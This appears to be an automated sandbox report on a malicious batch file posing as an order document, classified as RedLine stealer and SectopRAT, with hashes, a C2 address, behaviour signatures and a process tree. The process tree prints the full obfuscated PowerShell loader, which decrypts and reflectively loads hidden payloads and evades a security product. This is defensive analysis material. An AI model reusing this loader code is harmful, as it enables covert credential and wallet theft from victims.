Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-10-2024 08:11

General

  • Target

    Order Nº TM24-10-08.bat

  • Size

    260KB

  • MD5

    555de6b8f4d49dbbcb011cf0f749a3a7

  • SHA1

    8382c757c865ae49f03ba06e2ca88d8076fcca28

  • SHA256

    bb22b9f36aa70d1503e56fe38c8a4e79ac3020ff8ce0c33c08e79173e56f2ee8

  • SHA512

    4915d206b39b81c291fd2b8e79a651cb15ebd386ffb16228dcb4ce94c48987fd2f5e258dd09026c881533aef186f90fbaa5199f9e524ac950ed04364c0465364

  • SSDEEP

    6144:nOEnu+m6LlyFuZli6Ed9/nOtbS2Z1QBHTI:nOX96LGuSJnOtbSjK

Malware Config

Extracted

Family

redline

Botnet

otto

C2

51.195.145.71:26398

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat';$DXzR='ReamnDpdLmnDpinmnDpesmnDp'.Replace('mnDp', ''),'EntbEvvrybEvvPbEvvoinbEvvtbEvv'.Replace('bEvv', ''),'FromvYVmmvYVBmvYVamvYVsmvYVe6mvYV4SmvYVtrmvYVingmvYV'.Replace('mvYV', ''),'SpeSWZliteSWZ'.Replace('eSWZ', ''),'DePsMkcoPsMkmpPsMkrPsMkesPsMksPsMk'.Replace('PsMk', ''),'ChrhhOarhhOnrhhOgrhhOeExrhhOtenrhhOsirhhOorhhOnrhhO'.Replace('rhhO', ''),'GetALBtCtALButALBrrtALBentALBtPtALBrotALBctALBestALBstALB'.Replace('tALB', ''),'InIMkLvoIMkLkeIMkL'.Replace('IMkL', ''),'LoIpdGaIpdGdIpdG'.Replace('IpdG', ''),'CopOzUZyToOzUZ'.Replace('OzUZ', ''),'EleThfYmenThfYtThfYAThfYtThfY'.Replace('ThfY', ''),'MaOxpNinMOxpNoOxpNdOxpNuOxpNleOxpN'.Replace('OxpN', ''),'CIQANreaIQANteDIQANeIQANcrIQANyIQANptoIQANrIQAN'.Replace('IQAN', ''),'TofCFraofCFnofCFsfoofCFrmofCFFiofCFnaofCFlofCFBofCFlocofCFkofCF'.Replace('ofCF', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($DXzR[6])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function bDdfx($DCabq){$PkWMx=[System.Security.Cryptography.Aes]::Create();$PkWMx.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PkWMx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PkWMx.Key=[System.Convert]::($DXzR[2])('2mOYEaPt8lWctq01VMMqhN34VnXfkC7nLbHLQY7/Qz8=');$PkWMx.IV=[System.Convert]::($DXzR[2])('dCF02IjSKAA6m1jMUv5SoQ==');$AcKBd=$PkWMx.($DXzR[12])();$MScdO=$AcKBd.($DXzR[13])($DCabq,0,$DCabq.Length);$AcKBd.Dispose();$PkWMx.Dispose();$MScdO;}function DOVto($DCabq){$BTfcL=New-Object System.IO.MemoryStream(,$DCabq);$KMREB=New-Object System.IO.MemoryStream;$ushEi=New-Object System.IO.Compression.GZipStream($BTfcL,[IO.Compression.CompressionMode]::($DXzR[4]));$ushEi.($DXzR[9])($KMREB);$ushEi.Dispose();$BTfcL.Dispose();$KMREB.Dispose();$KMREB.ToArray();}$McwgB=[System.IO.File]::($DXzR[0])([Console]::Title);$cTfVJ=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 5).Substring(2))));$nYDNp=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 6).Substring(2))));[System.Reflection.Assembly]::($DXzR[8])([byte[]]$nYDNp).($DXzR[1]).($DXzR[7])($null,$null);[System.Reflection.Assembly]::($DXzR[8])([byte[]]$cTfVJ).($DXzR[1]).($DXzR[7])($null,$null); "
      2⤵
        PID:3544
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3416
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2436

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      928d36ad618a369ffebf44885d07cf81

      SHA1

      edf5a353a919c1873af8e6a0dfafa4c38c626975

      SHA256

      d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

      SHA512

      4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

      Filesize

      28KB

      MD5

      1ac766c4826ba339d022324a492c41e7

      SHA1

      9717376dc808ec7fcc6a7f1ce5661f8ccbb02cc4

      SHA256

      18d09bb7449eb37ea9da74b48e173dc1ca6957acc6f71ce16ab0c80b99e11047

      SHA512

      c09b7fdf7ce1b10a0529429945b591abf2d3390e1a08d511391b8ffc382291d96892dce81efbaf38838858a196ac0d18552e15aef7acb61c6c883030914cf256

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qln1jkd5.hvt.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmpBB71.tmp

      Filesize

      40KB

      MD5

      a182561a527f929489bf4b8f74f65cd7

      SHA1

      8cd6866594759711ea1836e86a5b7ca64ee8911f

      SHA256

      42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

      SHA512

      9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

    • C:\Users\Admin\AppData\Local\Temp\tmpBB87.tmp

      Filesize

      114KB

      MD5

      2dc3133caeb5792be5e5c6c2fa812e34

      SHA1

      0ed75d85c6a2848396d5dd30e89987f0a8b5cedb

      SHA256

      4b3998fd2844bc1674b691c74d67e56062e62bf4738de9fe7fb26b8d3def9cd7

      SHA512

      2ca157c2f01127115d0358607c167c2f073b83d185bdd44ac221b3792c531d784515a76344585ec1557de81430a7d2e69b286155986e46b1e720dfac96098612

    • C:\Users\Admin\AppData\Local\Temp\tmpBBB2.tmp

      Filesize

      48KB

      MD5

      349e6eb110e34a08924d92f6b334801d

      SHA1

      bdfb289daff51890cc71697b6322aa4b35ec9169

      SHA256

      c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

      SHA512

      2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

    • C:\Users\Admin\AppData\Local\Temp\tmpBBC8.tmp

      Filesize

      20KB

      MD5

      49693267e0adbcd119f9f5e02adf3a80

      SHA1

      3ba3d7f89b8ad195ca82c92737e960e1f2b349df

      SHA256

      d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

      SHA512

      b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

    • C:\Users\Admin\AppData\Local\Temp\tmpBBDD.tmp

      Filesize

      116KB

      MD5

      f70aa3fa04f0536280f872ad17973c3d

      SHA1

      50a7b889329a92de1b272d0ecf5fce87395d3123

      SHA256

      8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

      SHA512

      30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

    • C:\Users\Admin\AppData\Local\Temp\tmpBC18.tmp

      Filesize

      96KB

      MD5

      40f3eb83cc9d4cdb0ad82bd5ff2fb824

      SHA1

      d6582ba879235049134fa9a351ca8f0f785d8835

      SHA256

      cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0

      SHA512

      cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2

    • memory/2436-24-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/2436-38-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/2436-35-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/2436-25-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/3416-19-0x0000000005F20000-0x0000000005F6C000-memory.dmp

      Filesize

      304KB

    • memory/3416-47-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/3416-23-0x0000000007280000-0x000000000729A000-memory.dmp

      Filesize

      104KB

    • memory/3416-21-0x00000000071E0000-0x0000000007256000-memory.dmp

      Filesize

      472KB

    • memory/3416-20-0x0000000006450000-0x0000000006494000-memory.dmp

      Filesize

      272KB

    • memory/3416-0-0x0000000074C6E000-0x0000000074C6F000-memory.dmp

      Filesize

      4KB

    • memory/3416-18-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

      Filesize

      120KB

    • memory/3416-39-0x0000000007430000-0x0000000007466000-memory.dmp

      Filesize

      216KB

    • memory/3416-40-0x0000000007350000-0x000000000736E000-memory.dmp

      Filesize

      120KB

    • memory/3416-41-0x0000000008580000-0x0000000008B98000-memory.dmp

      Filesize

      6.1MB

    • memory/3416-42-0x0000000007520000-0x0000000007532000-memory.dmp

      Filesize

      72KB

    • memory/3416-43-0x0000000007580000-0x00000000075BC000-memory.dmp

      Filesize

      240KB

    • memory/3416-44-0x00000000077B0000-0x00000000078BA000-memory.dmp

      Filesize

      1.0MB

    • memory/3416-45-0x0000000074C6E000-0x0000000074C6F000-memory.dmp

      Filesize

      4KB

    • memory/3416-46-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/3416-22-0x00000000078E0000-0x0000000007F5A000-memory.dmp

      Filesize

      6.5MB

    • memory/3416-48-0x0000000008130000-0x00000000082F2000-memory.dmp

      Filesize

      1.8MB

    • memory/3416-49-0x00000000090D0000-0x00000000095FC000-memory.dmp

      Filesize

      5.2MB

    • memory/3416-17-0x0000000005A10000-0x0000000005D64000-memory.dmp

      Filesize

      3.3MB

    • memory/3416-7-0x0000000005120000-0x0000000005186000-memory.dmp

      Filesize

      408KB

    • memory/3416-6-0x00000000050B0000-0x0000000005116000-memory.dmp

      Filesize

      408KB

    • memory/3416-5-0x0000000005010000-0x0000000005032000-memory.dmp

      Filesize

      136KB

    • memory/3416-4-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/3416-2-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/3416-219-0x0000000009BB0000-0x000000000A154000-memory.dmp

      Filesize

      5.6MB

    • memory/3416-220-0x0000000008480000-0x0000000008512000-memory.dmp

      Filesize

      584KB

    • memory/3416-221-0x0000000008460000-0x000000000847E000-memory.dmp

      Filesize

      120KB

    • memory/3416-222-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/3416-223-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB

    • memory/3416-3-0x00000000052D0000-0x00000000058F8000-memory.dmp

      Filesize

      6.2MB

    • memory/3416-1-0x00000000026D0000-0x0000000002706000-memory.dmp

      Filesize

      216KB

    • memory/3416-228-0x0000000074C60000-0x0000000075410000-memory.dmp

      Filesize

      7.7MB